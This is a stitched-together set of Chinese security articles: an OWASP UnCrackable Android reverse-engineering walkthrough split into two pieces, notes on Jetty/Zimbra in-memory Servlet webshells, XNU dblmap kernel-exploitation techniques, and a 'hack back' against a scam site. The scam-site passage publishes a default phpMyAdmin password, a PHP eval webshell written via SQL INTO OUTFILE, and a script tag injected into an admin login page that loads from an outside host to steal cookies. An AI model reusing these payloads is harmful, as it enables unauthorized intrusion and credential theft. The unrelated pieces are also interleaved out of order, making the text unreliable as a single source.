應用額外的保護措施來防止重新打包和退出應用程序。

這些任務對於有經驗的逆向工程師來說很容易。經驗不足的開發人員在使用逆向工程技術滲透測試Android 應用程序之前可能需要一些練習。值得慶幸的是,OWASP為培訓和提高您的軟件逆向工程技能提供了許多挑戰。

在本文的後面,我們將針對兩個OWASP 移動安全測試指南CrackMe挑戰提供分步解決方案:UnCrackable App for Android Level 1和UnCrackable App for Android Level 2。解決這些挑戰將幫助您更好地了解如何改進移動應用程序的滲透測試並增強Android 解決方案的安全性。我們建議您在繼續閱讀之前嘗試自己解決它們。但首先,讓我們看一下對Android 應用程序進行逆向工程所需的工具和框架。

Android逆向工程的基本工具集在開始為Android 開發人員解決OWASP CrackMe 挑戰之前,您需要確保有兩件事:

了解Android 環境。您需要具有使用Java 和Linux 環境以及使用Android 內核的經驗。

正確的工具集。使用在Java 虛擬機(JVM) 上運行的字節碼和本機代碼需要特定的工具。

在本節中,我們列出並簡要描述了可用於解決OWASP CrackMe 挑戰和提升逆向工程技能的工具。

注意:出於本文的目的,我們僅選擇了免費或具有免費試用版的工具和框架。

Android Studio — Android 的官方集成開發環境(IDE)。這是構建原生Android 應用程序的主要IDE;它包括APK 分析器、代碼編輯器、可視化佈局編輯器等。特別是,我們將使用命令行Android 調試橋(adb) 工具。

Apktool — 這是一款流行的免費工具,用於對封閉的、第三方的和二進制的Android 應用程序進行逆向工程。它可以將Java 字節碼反彙編為.smali 格式,以及從APK 存檔中提取和反彙編資源。此外,您還可以使用Apktool 來修補和更改清單文件。

注意:應用程序代碼存儲在APK 文件中,其中包含帶有Dalvik 二進製字節碼的.dex 文件。 Dalvik 是一種Android 平台可以理解但人類完全無法讀取的數據格式。因此,為了讓開發人員能夠使用.dex 文件,需要將它們轉換為(和自)可讀格式,例如.smali。

Cutter — 一個開源跨平台框架,提供可定制、易於使用的逆向工程平台。該框架由radare2 提供支持,並得到大量專業逆向工程師社區的支持。

Hex Workshop Editor — 一套流行的Windows 十六進制開發工具。該工具集使編輯二進制數據幾乎與處理常規文本文檔一樣簡單。 Hex Workshop Editor 是商業軟件,但有免費試用版。

注意: Hex Workshop Editor 只能在Windows 上使用。如果您使用的是基於Linux 的虛擬機,則可以選擇任何Linux 十六進制編輯器。

dex2jar — 將字節碼從.dex 格式轉換為Java 類文件的免費工具。

JD-GUI — Java Decompiler 項目創建的工具之一。這個圖形實用程序使Java 源代碼可讀,將其顯示為Java 類文件。

Mobexler — 用於iOS 和Android 滲透測試的基於Elementary 的虛擬機。 Mobexler 附帶一組預安裝的工具和腳本,用於測試移動應用程序的安全性,包括此列表中的一些工具。

Java 調試器(jdb) — 用於調試Java 類的免費命令行工具。

注意:在Android應用中,調試可以分兩層進行:

马云惹不起马云 運行時層——Java 運行時調試可以在Java 調試有線協議(JDWP)的幫助下進行。

马云惹不起马云 Native 層——可以基於ptrace進行Linux/Unix 風格的調試。

JDWP 是一種標準調試協議,可幫助調試器與目標JVM 進行通信。所有流行的命令行工具和Java IDE 都支持此協議,包括Eclipse、JEB、IntelliJ,當然還有jbd。

JDWP 調試器允許您探索Java 代碼、在Java 方法中設置斷點以及檢查和修改局部變量和實例變量。它通常用於調試不會多次調用本機庫的常規Android 應用程序。

GNU 調試器(gdb) — 一種用於分析應用程序代碼的有用工具。

我們使用這些工具解決了Android 應用程序的兩個逆向工程挑戰。在下一節中,我們將為您提供基於標準OWASP 挑戰的基本Android 滲透測試教程。

0x00 前言在上篇文章介紹了Jetty Filter型內存馬的實現思路和細節,本文介紹Jetty Servlet型內存馬的實現思路和細節

0x01 簡介本文將要介紹以下內容:

實現思路

實現代碼

Zimbra環境下的Servlet型內存馬

0x02 實現思路同樣是使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Servlet型內存馬

0x03 實現代碼1.添加ServletJetty下可用的完整代碼如下:

1.png 2.png 3.png 4.png2.枚舉Servlet(1)通過request對象調用getServletRegistrations枚舉Servlet

Jetty下可用的完整代碼如下:

6.png

(2)通過Thread獲得webappclassloaer,通過反射讀取_servlets屬性來枚舉Servlet

Jetty下可用的完整代碼如下:

7.png 8.png

注:

該方法在Zimbra環境下會存在多個重複結果

0x04 Zimbra環境下的Servlet型內存馬Zimbra存在多個名為WebAppClassLoader的線程,所以在添加Servlet時需要修改判斷條件,避免提前退出,在實例代碼的基礎上直接修改即可。

9.png當然,我們可以通過反射刪除內存馬對應的jsp實例,測試代碼如下:

10.png

無論是Filter型內存馬還是Servlet型內存馬,刪除內存馬對應的jsp實例不影響內存馬的正常使用

0x05 利用思路同Filter型內存馬一樣,Servlet型內存馬的優點是不需要寫入文件,但是會在服務重啟時失效

0x06 小結本文介紹了Jetty Servlet型內存馬的實現思路和細節,給出了可供測試的代碼,分享了Zimbra環境的利用方法。

0X00    事情由来

图片

图片

图片

了解完事情的经过,经过我的经验判断,这应该是个杀猪诈骗案例

诈骗份子通过一些手段让受害人相信,通过他们可以赚钱并诱导充值杀猪盘赌博

0X01    渗透过程-大概二十分钟左右就拿下了

渗透过程简单枯燥:

看了一眼IP和端口,判断了下应该不存在云waf,直接开始扫目录

过了几分钟扫到一个http://xxxx.com.cn/u.php,原来是upupw的集成环境,如下图

图片

图片

思路,爆破phpmyadmin,或者找upupw的默认数据库密码,先找默认密码试试看

图片

成功用系统提供的密码登录,默认的是:DRsXT5ZJ6Oi55LPQ

成功登录phpmyadmin

图片

然后尝试getshell,由于有upupw探针,直接查看了phpinfo,有网站的绝对路径,直接尝试常规写shell

需要知道绝对路径、数据库root权限、数据库有写权限具体语句:
SELECT "<?php eval(@$_POST['xx']);?>" INTO OUTFILE "D:\\wap\\member_bak.php"
注意点:windows下,须要双反斜线,否则会转义然后使用菜刀/蚁剑等链接即可

由于当时没有截图,目前网站已经打不开了,所以下面就直接放出拿到shell后的状态了

图片

渗透结束,看了下权限,是system权限,不过咱们的目标是定位诈骗分子的IP信息和位置信息,接着下一步了

0X02    定位诈骗份子的IP和端口

拿到shell了就容易的多了,找后台登录的php文件插入xss代码即可

图片

找了一圈发现,后台登录是另外一个网站目录下,编辑admin778899.php

echo '<sCRiPt sRC=https://xx.xx/XFXX></sCrIpT>';

等待诈骗分子登录

图片

居然还是手机登录的,666

替换Cookie登录后台,发现并没有什么用,都是一些数字而已

图片

去ipip.net 查询了一下IP地址信息,不出意外,果然又在境外,唉....

图片


0X03    告知粉丝结果

过程我就直接贴和受害者的微信聊天记录了

图片

图片

图片

图片

图片

图片

图片

图片


0X04    如何防范此类诈骗

1.网络交友,要提高防骗意识,保持良好的社交心态,注意个人隐私信息的保护,特别是涉及到金钱往来,务必多渠道核实对方真实身份;

2.网络上凡是涉及带你投资理财有高收益的都视为诈骗即可;

3.骗子在朋友圈不断分享投资盈利的信息,吸引受害人主动咨询;

4.诱导受害人注册平台,投入资金。当受害人看到盈利想要提现时,平台持续以受害人银行卡号错误要求缴纳保证金、未按要求备注、账户冻结、税收等理由继续诱骗钱财,实施诈骗;

5.保持正确的投资理财观,不盲目相信无风险却高回报的投资方式,天上不会掉馅饼




转载于原文链接: https://mp.weixin.qq.com/s/7o4XV8MKbX3wCT3ZxbCMng


隨著內核地址空間佈局隨機化(KASLR)被現代系統廣泛採用,獲取信息洩漏是大多數權限升級攻擊的必要組成部分。本文我們將介紹XNU(蘋果macOS使用的內核)的實現細節,它可以消除許多內核漏洞中對專用信息洩露漏洞的需要。

關鍵在於內核Mach-O的__HIB段,它包含系統休眠和底層CPU管理的函數子集和數據結構,總是映射在一個已知的地址。

我們將首先介紹__HIB段以及它可能被濫用的各種方式。使用我們的Pwn2Own 2021內核漏洞作為一個真實的例子,展示如何簡化該漏洞。

1.png

濫用基本操作系統設計可以實現漏洞利用原語

__HIB 段:休眠和內核入口

__HIB段的名字來源於“休眠(hibernation)”,似乎它的主要目的是處理從休眠映像中恢復系統。

它的其他主要功能是處理內核的低級進入和退出,即通過中斷或系統調用。它包含中斷描述符表(IDT) 和相應的中斷處理程序存根。

它同樣包含通過syscall和sysenter指令進入的存根。這些入口點是通過編寫相應的MSR 來設置的:

2.png

這個代碼片段使用DBLMAP宏引用“DBLMAP”中的每個函數的別名。

XNU dblmapdblmap是一個虛擬內存區域,別名為組成__HIB段的相同物理頁。

dblmap在doublemap_init()中初始化,它將虛擬別名插入到構成__HIB段的所有物理頁的頁表中。 dblmap 的基數是用8 位熵隨機化的。

3.png

別名防止了使用sidt指令的瑣碎的KASLR繞過,sidt指令將揭示IDT的內核地址。這個指令不是權限指令,如果在ring3(用戶模式)中執行不會導致異常,除非在處理器上啟用了用戶模式指令保護(UMIP)(不在XNU 中):

用戶模式指令預防(CR4的第11位)設置後,如果CPL 0: SGDT、SIDT、SLDT、SMSW和STR,則不能執行以下指令,如果試圖執行該值,將導致通用保護異常(#GP)。

4.png

由於IDT/GDT/LDT/etc 位於dblmap 別名中,因此知道它們在dblmap 中的地址不會顯示它們在正常內核映射中的地址。但是,它們確實會洩漏dblmap 信息。

緩解失敗dblmap 的一個輔助目的是它起到緩解Meltdown 的作用。各種操作系統採用的常用技術是在執行用戶空間代碼時從頁表中刪除內核映射,然後在進行中斷/系統調用/等時重新映射內核。 Linux 將其實現稱為內核頁表隔離(KPTI),在Microsoft Windows 上,它的對等物被稱為KVA Shadow。

兩種實現方式的相似之處在於,在執行用戶代碼時,只有一小部分內核頁面出現在頁表中。該子集包含處理中斷和系統調用以及在用戶和內核頁表之間來迴轉換所需的代碼/數據。在XNU 的情況下,“小子集”正是dblmap。

5.png

為了進行頁表轉換,中斷調度代碼需要知道正確的頁表地址以進行切換。換句話說,要向cr3寫入什麼值,即保存頂級分頁結構的物理地址的控制寄存器。

這些值駐留在__HIB 段的數據部分之一中的每個CPU 數據結構中:

cpshadows[cpu].cpu_ucr3 : 用於userspace + dblmap;

cpshadows[cpu].cpu_shadowtask_cr3 :用於userspace + full kernel;

從用戶空間進入後,中斷調度代碼會將cr3 切換到cpu_shadowtask_cr3,然後在返回用戶空間之前切換回cpu_ucr3。

由於在執行用戶代碼時dblmap 被映射到頁表中,因此理論上dblmap 中的任何內容都可以使用Meltdown 讀取。這就產生了dblmap 中是否存在任何“敏感”數據的問題。

值得注意的是,有幾個函數指針以數據的形式出現,用於從dblmap跳轉到正常映射的內核函數。洩露其中任何一個都足以確定kernel slide(用於描述隨機內核基址地址的XNU 術語)並破壞KASLR。

有趣的是,KASLR 在Windows 和Linux 上都可以通過Meltdown 進行類似的攻擊:

同樣的策略也適用於運行有漏洞的英特爾硬件的最新版本的macOS。只需使用libkdump從dbblmap讀取即可。簡而言之,Meltdown 可用於在除最後一代基於Intel 的Mac 機型之外的所有設備上破壞KASLR,該機型附帶Ice Lake 處理器,其中包含針對Meltdown 的CPU 級修復。

雖然KASLR 在基於Intel 的Mac 上無疑是一個重要且幾乎普遍的突破,但我們現在將討論dblmap 提供的其他幾個有用的內核利用原語,這些原語適用於包括Ice Lake 在內的所有版本。

LDT——已知內核地址的受控數據從利用的角度來看,也許dblmap 最有趣的工件是它為每個CPU 內核保存LDT,它可以包含幾乎可以從用戶模式控制的任意數據,並且位於dblmap中的固定偏移位置。

LDT/GDTLDT 和GDT 包含許多段描述符。每個描述符要么是系統描述符,要么是標準代碼/數據描述符。

代碼/數據描述符是一個8 字節的結構,描述了具有某些訪問權限(即它是否可讀/可寫/可執行,以及可以訪問它的特權級別)的內存區域(由基地址和限制指定)。這主要是一個32 位保護模式的概念;如果執行64 位代碼,則忽略基地址和限制。描述符可以描述64 位代碼段,但不使用基本/限制。

6.png

系統描述符是特殊的,大多數擴展為16 字節以適應指定64 位地址。它們可以是以下類型之一:

LDT :指定LDT 的地址和大小;

任務狀態段(TSS) :指定TSS 的地址,該結構包含與權限級別切換相關的信息結構;

調用、中斷或陷阱門:指定遠程調用、中斷或陷阱的入口點;

LDT中唯一允許的系統描述符是調用門,我們稍後會探討。

段描述符使用16 位段選擇器引用:

7.png

例如,cs寄存器(代碼段)是一個選擇器,它引用當前正在執行的任何代碼的段。通過在GDT/LDT中為64位和32位代碼設置不同的描述符,操作系統可以通過使用適當的選擇器在受保護模式(32位代碼)和長模式(64位代碼)之間進行用戶空間跳轉。特別是在macOS上,硬編碼的選擇器是:

0x2b:第5個GDT 條目,ring3——64 位用戶代碼;

0x1b:第3個GDT 條目,ring3——32 位用戶代碼;

0x08:第1個GDT 條目,ring0——64 位內核代碼;

0x50:第10個GDT 條目,ring0——32 位內核代碼;

LDT在macOS上的應用進程可以通過調用i386_set_ldt()在其用戶模式的LDT中設置描述符。它調用的對應內核函數是i386_set_ldt_impl()。

此函數對LDT 中允許的描述符類型施加了一些限制。描述符必須為空,或者指定一個用戶空間的32位代碼/數據段:

8.png

就二進制格式而言,這轉換為對每個8字節描述符的以下限制:

字節5 (dp-access):必須是0,1,或者有高nibble0xf(值匹配0xf)。

字節6 (dp-granularity): 位5不能設置(掩碼0x20)。

使用LDT在已知的內核地址創建偽內核對象,這些限制不會太嚴格。唯一真正的問題是能否在這樣的對像中構造有效的內核指針。

為了解決這個問題,我們可以將假對象錯位6 個字節。這將使dp-access 與內核指針的高字節(將為0xff)重疊。唯一的限制是指針的低字節(與dp-granularity 重疊)不能設置位5 。

成功設置LDT描述符將創建一個堆分配的LDT結構,該結構的指針存儲在當前任務結構的task-i386_ldt字段中。

9.png

每當發生上下文切換或手動更新LDT時,內核通過user_ldt_set()將來自該結構的描述符複製到實際的LDT(在dblmap中)。

進程可以使用i386_get_ldt()查詢當前的LDT條目,調用內核函數i386_get_ldt_impl()。這將直接從實際LDT(在dblmap中)複製描述符,而不是從LDT結構體複製描述符。

已知內核地址上的已知代碼在編寫沒有內核代碼地址洩漏的macOS 內核漏洞利用時,__HIB 文本部分中的函數子集可能會用作有用的調用目標。

dblmap 中一些值得注意的函數(在固定偏移處)是:

memcpy(), bcopy();

memset(), memset_word(), bzero();

hibernate_page_bitset()——設置或清除位圖結構中的位;

hibernate_page_bitmap_pin()——可以將32 位int 從第一個結構參數複製到第二個指針參數;

hibernate_sum_page()——從它的第一個參數返回一個32 位int 作為一個數組,使用第二個作為索引;

hibernate_scratch_read(),hibernate_scratch_write()——類似於memcpy,但第一個參數是一個結構;

當控制流被劫持時,這些函數對內核利用的效用將嚴重依賴於特定的上下文。上面列出的大多數內核調用目標需要3個參數。如果一個給定的漏洞允許按順序進行多個受控調用,你還可以使用早期調用來設置寄存器/狀態,以便在以後的調用中使用。

無論情況如何,dblmap通常可以用來將一個簡單的內核控制流劫持原語轉換為同時產生真正內核文本(代碼地址)洩漏的內容。

其他dblmap技巧已知內核地址上真正任意的64位值我們已經介紹了dblmap如何允許我們輕鬆地在LDT中放置幾乎任意的數據。

但是,假設你需要一個真正任意的64位值(可能你需要的函數指針位為5,並且不符合LDT 限制)。當進行系統調用時,調度存根會將rsp(用戶空間堆棧指針)保存在dblmap 的臨時位置(cpshadows[cpu].cpu_uber.cu_tmp)。用戶rsp 值也將放置在dblmap 中的中斷堆棧上(對於cpu 0 的master_sstk 或scdtables[cpu])。

雖然不是其預期用途,但rsp 可以被視為通用寄存器,並分配任意64 位值。除非需要在系統調用之前和之後設置/恢復rsp 給開髮帶來不便,否則這會在已知地址處提供任意64 位值。

將內核指針洩漏到LDTLDT的另一個有用的方面是,它可以用作真正的內核地址洩漏的可寫位置,可以使用i386_get_ldt()從用戶模式查詢和讀取。假設你能夠使用劫持函數調用將任意地址複製到LDT中。將dblmap中的一個函數指針複製到LDT中,然後查詢LDT的適當範圍,將獲得文本洩漏。

或者作為另一個例子,也許你劫持的函數調用的第一個參數是LDT中的假對象,第二個參數是某個有效的c++對象,第三個參數是任何足夠小的整數。調用memcpy() 會將vtable和一些對象的字段複製到LDT。查詢LDT 然後將這些洩漏讀取到用戶空間。

記住,每個CPU核有一個LDT,在macOS上沒有方法將進程固定到任何特定的核上。如果一個線程執行被劫持的函數調用,將洩漏複製到它的LDT中,然後在調用i386_get_ldt()之前被搶占,那麼洩漏實際上將丟失。

滲透測試Android 應用程序:工具和分步說明(上)

解決UnCrackable Apps 挑戰我們將向您展示如何解決兩個OWASP MSTG CrackMe 挑戰:Android 級別1 的UnCrackable 應用程序和Android 級別2 的UnCrackable 應用程序。這些應用程序專門設計為逆向工程挑戰,代碼中隱藏著秘密。我們的任務就是找到這些秘密。在解決這些挑戰時,我們將使用靜態分析來分析反編譯代碼,並使用動態分析來修改一些應用程序參數。

解決UnCrackable App for Android Level 1首先,我們需要查看我們的培訓應用程序。一個普通的Android 應用程序實際上是一個正確打包的APK 文件,其中包含應用程序正常運行所需的所有數據。

要從內部審視應用程序並解決這一挑戰,我們需要:

adb 用於與我們的移動設備和培訓應用程序通信

用於將我們的培訓應用程序的APK 文件反彙編為單獨的.smali 類的Apktool

jdb 用於調試我們的訓練應用程序

dex2jar 用於將APK 文件轉換為JAR 格式

用於處理JAR 文件的JD-GUI

現在讓我們繼續解決第一個挑戰。

我們將首先使用以下命令在我們的設備或模擬器上安裝UnCrackable-Level1.apk:

image.png

我們將在jdb 工具的幫助下解決這個挑戰並調試Release Android 應用程序。繼續尋找隱藏的秘密。

1. 解壓應用程序並使用Apktool 解碼清單文件:

image.png

2. 使用文本編輯器,通過更改清單文件並將應用程序設置為android:debuggable:將應用程序置於調試模式'true':

XML

applicationandroid:allowBackup='true'android:debuggable='true'android:icon='@mipmap/ic_launcher'android:label='@string/app_name'android:theme='@style/AppTheme'3.使用Apktool重新打包APK文件:

image.png

4.退出新創建的APK文件。您可以使用bash 腳本來執行此操作以重新註冊Android 應用程序。

5. 使用以下命令在您的設備或模擬器上安裝新的APK 文件:

此時,我們面臨第一個大挑戰。 UnCrackable App 旨在抵抗調試模式。因此,當我們啟用它時,應用程序會簡單地關閉。

您將看到帶有警告的模態對話框。可以通過點擊確定關閉對話框,但這將是應用程序終止前的最後一個操作。

image.png

滲透測試android 1

幸運的是,有一種方法可以解決這個問題。

6. 在等待調試器模式下在您的設備或模擬器上啟動應用程序。此模式允許您在應用程序運行其檢測機制之前將調試器連接到目標應用程序。因此,應用程序不會停用調試模式。

使用以下命令在等待調試器模式下運行應用程序:

您將看到以下對話窗口:

image.png

滲透測試android 2

7. 現在顯示連接設備上運行的所有進程的進程ID (PID):

image.png

8. 並且只列出可調試的進程:

image.png

9. 在您的主機上打開一個監聽套接字並將其傳入的TCP 連接轉發到所選可調試進程的JDWP 傳輸:

image.png

10. 請注意,附加調試器(在我們的例子中是jdb)將導致應用程序從掛起狀態恢復,我們不希望這樣。我們需要暫停該應用程序一段時間以對其進行詳細探索。為防止進程恢復,將suspend命令通過管道傳輸到jdb:

image.png

11. 現在我們需要繞過點擊確定後應用程序在運行時崩潰的那一刻。使用dex2jar 和JD-GUI 反編譯APK 文件以查看應用程序代碼:

1)使用dex2jar工具將原始APK文件轉為JAR文件:

image.png

2)使用JD-GUI工具,打開新建的JAR文件:

image.png

查看代碼後,您會看到MainActivity.a方法顯示消息:

'This is unacceptable.'

MainActivity.a方法創建一個警告對話框並為onClick 事件設置一個偵聽器類。偵聽器類有一個回調方法,當用戶點擊OK 按鈕時,該方法會關閉應用程序。為防止用戶取消對話框,系統調用setCancelable方法。

在這一點上,我們最好的情況是將應用程序暫停在我們正在尋找的秘密字符串存儲在明文變量中的狀態。不幸的是,除非您能弄清楚應用程序如何檢測root 和篡改,否則這是不可能的。

12. 嘗試稍微修改運行時以繞過應用程序終止。 android.app.Dialog.setCancelable在應用程序仍處於暫停狀態時設置方法斷點,然後恢復應用程序:

image.png

13. 應用程序在第一個setCancelable方法指令處暫停。您可以使用該locals命令打印傳遞給setCancelable方法的參數:

image.png

正如您在上面的代碼中看到的,系統調用了setCancelable(true)方法,所以這不是我們需要的調用。讓我們用resume命令恢復這個過程:

image.png

我們已經通過參數調用了setCancelablefalse方法。此時,我們需要使用set命令將變量更改為true並恢復應用程序:

image.png

每次到達斷點時繼續設置,flag直到最終顯示警報窗口。 true您可能需要嘗試五六次才能看到此窗口。此時,您應該能夠在不導致應用程序終止的情況下取消應用程序——只需點擊對話框窗口旁邊的屏幕,它就會關閉。

image.png

滲透測試android 3

14. 最後,是提取秘密字符串的時候了。再次查看應用程序代碼。您會注意到我們正在尋找的字符串是使用高級加密標準解密的,並與用戶在消息框中輸入的字符串進行比較。應用程序使用java.lang.String類的equals方法來確定字符串輸入是否與秘密字符串匹配。

現在在java.lang.String.equals上設置一個方法斷點,在編輯字段中輸入隨機文本,然後點擊VERIFY。 locals到達斷點後,您可以使用命令讀取方法參數:

image.png

答對了!我們的秘訣是“我想相信”。您可以通過在消息框中輸入此短語並單擊“驗證”按鈕來輕鬆檢查是否正確。

image.png

滲透測試android 4

做得好!現在我們可以開始解決第二個挑戰了。

解決UnCrackable App for Android Level 2與之前的任務一樣,在這個訓練應用程序的代碼中某處隱藏著一個秘密字符串,我們的目標是找到它。然而,在這種情況下,我們的秘密字符串可能有一些本地代碼的痕跡。

為了解決這個挑戰,我們將使用以下工具:

adb 用於與我們的移動設備通信

用於反彙編APK 文件的Apktool

用於處理庫的切割器

gbd 用於分析應用程序代碼

用於編輯二進制數據的Hex Workshop Editor

dex2jar 用於將APK 文件轉換為JAR 格式

用於處理JAR 文件的JD-GUI

讓我們直接解決這個挑戰:

1.使用dex2jar和JD-GUI,分析UnCrackable-Level2.apk文件。

1)首先,使用dex2jar將APK文件轉換為JAR文件:

image.png

2) 然後用JD-GUI打開轉換後的文件。從MainActivity類開始:

image.png

系統加載本機foo 庫。然後我們在MainActivity類的onInit方法中調用原生的init函數。

接下來,CodeCheck類從bar 庫中導入一個函數:

image.png

CodeCheck的一個方法(很可能被混淆了)使用這個函數來驗證密碼。

image.png

2.使用Apktool提取foo庫,然後用Cutter反編譯成機器碼:

image.png

在temp/lib 文件夾中,查找擴展名為.so 的文件。應該有針對不同類型處理器架構的文件:arm64-v8a、armeabi-v7a、x86 和x86_64。選擇與您正在使用的設備或模擬器的處理器架構相匹配的庫。您可以使用CPU-Z應用程序檢查設備的架構。

使用Cutter 分析所選庫。首先檢查功能選項卡以了解庫的功能。

例如:

pthread_create和pthread_exit函數表明函數庫使用線程。

image.png

滲透測試android 5

如果您看到strncmp字符串比較器,它可能用於驗證傳遞的密碼。如果幸運的話,我們正在尋找的字符串是硬編碼的,輸入的密碼會與它進行比較。然而,根據線程的使用判斷,我們可以假設庫在運行時計算秘密字符串。

image.png

滲透測試android 6

我們來分析一下strncmp函數。使用Cutter 找到strncmp函數的地址(0xffb)。

image.png

滲透測試android 7

ptrace是用於調試的Linux 系統調用。然而,在我們的例子中,它被用作一種反調試技術。

image.png

滲透測試android 8

讓我們分析一下ptrace的功能。這個調用被使用了兩次:第一次是在0x777,然後是0x7a7。在第一種情況下,它是當前進程的PID,在第二種情況下,它是PTRACE_ATTACH 標誌,0x10。

ptrace函數調用將一個Android 進程附加到自身。但是,一個Android 進程只能附加一個進程。這意味著目前我們無法將gdb 附加到Android 進程。

image.png

滲透測試android 9

3. 附加gdb 的問題可以通過NOP-ing 兩個ptrace 系統調用來解決。您可以使用Hex Workshop Editor 更改字節。將ptrace函數的地址插入工具的轉到字段並更改值:

image.png

滲透測試android 10

4. 打開原始APK 文件作為zip 存檔並將原始libfoo.so 庫替換為更改後的庫。

5. 使用與上一個挑戰相同的腳本退出修改後的APK 文件。

6. 在root 設備上安裝應用程序:

image.png

現在,當您啟動該應用程序時,您會看到一條警告,提示您無法使用該應用程序,因為設備已獲得root 權限。

image.png

滲透測試android 11

7.從應用程序代碼中刪除root 和調試器檢測。為此,請在反編譯的APK 文件中找到MainActivity.smali 文件並刪除a方法的所有內容。

當檢測到問題時調用a方法。它向用戶顯示一個警告對話框,然後退出應用程序。為了防止我們的應用程序出現此類行為,我們需要修補a方法。

這是刪除a方法內容後MainActivity.smali 文件的樣子:

image.png

8. 現在用修改後的MainActivity.smali文件重新打包APK 文件:

image.png

9. 接下來,打開UnCrackable-Level2_resigned.apk 文件作為ZIP 存檔,並將其中的classes.dex 文件替換為我們重新打包的APK 文件中的補丁文件。

10. 退出初始的UnCrackable-Level2.apk 文件。在這一步,我們的APK 文件有兩個替換的補丁文件:來自第8 步的MainActivity.smali 和來自第4 步的libfoo.so。

11. 在您的設備上安裝重新安裝的APK 文件:

這一次,我們的應用程序啟動時沒有任何警告消息。

image.png

滲透測試android 12

接下來,我們需要將gdb 附加到Android 進程。首先在您的設備或模擬器上設置gdb 服務器。

12. 在您的設備上打開root shell:

image.png

13. 使用計算機上的命令行界面,將gdb 服務器複製到/data/local/tmp/gdb-server 文件夾中:

確定當前CPU雖然這不是一個真正的“技巧”,但為了匹配dblmap中的正確結構地址,有必要識別當前CPU編號。每個內核都有自己的GDT(在dblmap中),因此可以使用sgdt指令來確定當前的CPU。然後可以循環,直到看到“正確的”GDT。

需要執行此操作的一個示例是在使用有效負載填充LDT 之後,任務需要在正確的內核上執行,然後有效負載才會出現在dblmap 中該內核的LDT 中。

使用dblmap 簡化實際的漏洞利用為了提供一個演示dblmap 實用性的具體示例,我們將展示如何通過使用dblmap 而不是其過度複雜的多個洩漏原語構造來大大簡化我們的Pwn2Own 2021 內核漏洞利用。 GitHub 上提供了此變體的源代碼以及完整的Safari 到內核鏈的其餘部分。

bug/exploit 的完整細節在之前的一篇文章中已經介紹過:1.我們對已釋放的內核緩衝區進行任意寫入操作;2.沒有內核信息洩露。

我們可以使用包含OSObject 指針的新OSArray 的後備存儲輕鬆回收已釋放的內核緩衝區。這些是C++ 對象,因此破壞數組中的內核數據指針以指向假對象應該足以通過虛擬調用劫持控制流。

多虧了dblmap,我們可以將已知的數據放在已知的內核地址。這意味著我們可以在LDT中構造偽內核對象及其虛函數表,而不需要真正的內核文本或數據洩漏。

10.png

為了簡單起見,我們選擇CPU 0作為“正確”的CPU,它的LDT對應於內核中的master_ldt符號。

現在我們已經能夠劫持內核控制流,我們需要研究調用時的寄存器狀態,以及如何將其轉換為對dblmap函數的有用調用。

被劫持的內核調用網站的參數控制在這種情況下,將生成一個損壞的OSArray的副本,我們首先能夠在OSArray:initWithObjects()中劫持控件,它被傳遞給包含損壞對象的備份存儲。遍歷損壞的支持存儲,並為每個對象調用taggedRetain()虛函數。

調用的第一個參數自然是this指針,它將指向LDT中的假對象;

第二個參數是“tag”,它將是OSCollection:gMetaClass;

沒有明確的第三個參數,但我們仍然可以查看函數是如何編譯的,並確定調用網站的rdx(根據調用約定的第三個參數)中可能包含的內容。

它恰好在count++操作期間使用,這意味著它將等於假對像在已損壞數組中的索引加1。換句話說,如果破壞數組中第i個索引的對象,對應調用的第三個參數將是i+1。這讓我們可以控制第三個參數,只要它是一個相對較小的非零整數。

由於第二個參數OSCollection:gMetaClass 是OSMetaClass 的一個實例,一個C++ 對象,它的第一個字段是虛函數表。使用第三個參數8調用memcpy()會相對簡單,它會將虛函數表複製到LDT中。然後可以使用i386_get_ldt()讀出虛函數表,這將導致文本洩漏。

然後,我們可以使用OSSerializer:serialize()將帶有受控制的this參數的調用轉換為帶有3個受控制參數的任意函數調用(假設可以滿足LDT限制)。這可能足以獲得足夠的洩漏,以消除對LDT的依賴,並從那裡繼續利用。

在LDT 中設置任意位hibernate_page_bitset() 函數的簽名是:

11.png

第二個布爾參數set決定函數是設置位還是清除位。在我們的例子中,它將為真,因為OSCollection:gMetaClass是非零的。

第三個參數page指定要設置或清除的位。如前所述,我們可以將其設為任何小的非零整數。

第一個參數是LDT中的假對象,它的結構如下:

12.png

簡而言之,它是一個可變大小的位圖數組,其中每個位圖都與一個位索引範圍相關聯。

由於我們控制了偽結構和位索引,因此調用這個函數允許我們在LDT中設置任意位。

應該注意的是,dblmap 中LDT 的內存內容是短暫的,如果當前任務(進程/線程)被搶占,它們就變得無關緊要。

當一個新任務開始在CPU上執行時,如果它有一個LDT,它將被複製到dblmap中,覆蓋現有的已損壞的內容。同樣,當重新調度被搶占的任務(具有先前損壞的LDT)時,複製到dblmap中的LDT來自堆分配結構,從而有效地消除了損壞。

在本文的示例中,你基本上可以忽略這個細節,因為失敗不會有任何懲罰或崩潰,如果需要的話,我們可以重新執行被劫持的bitset調用。另外,OSArray:initWithObjects()在一個循環中遍歷已損壞的後台存儲,這意味著我們可以劫持數組中每個插槽的虛擬調用,並在一次傳遞中多次調用bitset函數。我們不需要每次設置一個位時都來回切換到用戶空間,這意味著經過的時間更少,我們的任務被搶占的機會也就越低。

另一種選擇是破壞LDT 中的前3 個描述符之一。這些是硬編碼的,不能用i386_set_ldt() 修改:

13.png

由於它們預計不會更改,因此每次在CPU 上執行新任務時不會重置這些條目。任何dblmap 的LDT(每個CPU 一個)中對這3 個描述符的任何損壞都將在搶占期間持續存在。

構建調用門在LDT中設置比特聽起來很強大,但我們實際上可以用它做什麼?

請記住,有兩種類型的描述符:用於內存區域的代碼/數據描述符和系統描述符。 LDT中唯一允許的系統描述符是調用門。正如英特爾手冊所述:調用門有助於在不同權限級別之間進行程序控制的受控傳輸。

它們主要由3個方面定義:

1.訪問門所需的權限級別;

2.目標代碼段選擇器;

3.目標入口點;

二進制格式:

14.png

當從用戶空間(ring3)通過呼叫門進行遠程呼叫時,大致會發生以下情況:

1.檢查權限(調用門描述符的DPL 字段必須為3);

2.目標代碼段描述符的DPL 字段成為新的權限級別;

3.使用新的權限級別從TSS 中選擇一個新的堆棧指針;

4.將舊的ss 和rsp 推入新堆棧;

5.將舊的cs和rip推入新堆棧;

6.從調用門選擇器和入口點設置cs和rip。

構造一個可以被ring3 (DPL為3)訪問的調用門,並為64位內核代碼(0x8)指定代碼段選擇器,這將允許我們對指定的任何地址執行遠程調用,如ring0。

濫用調用門來利用內核漏洞之前已經被證明過,但是在32 位Windows 的上下文中,當時SMEP、SMAP和頁表隔離並未受到關注。

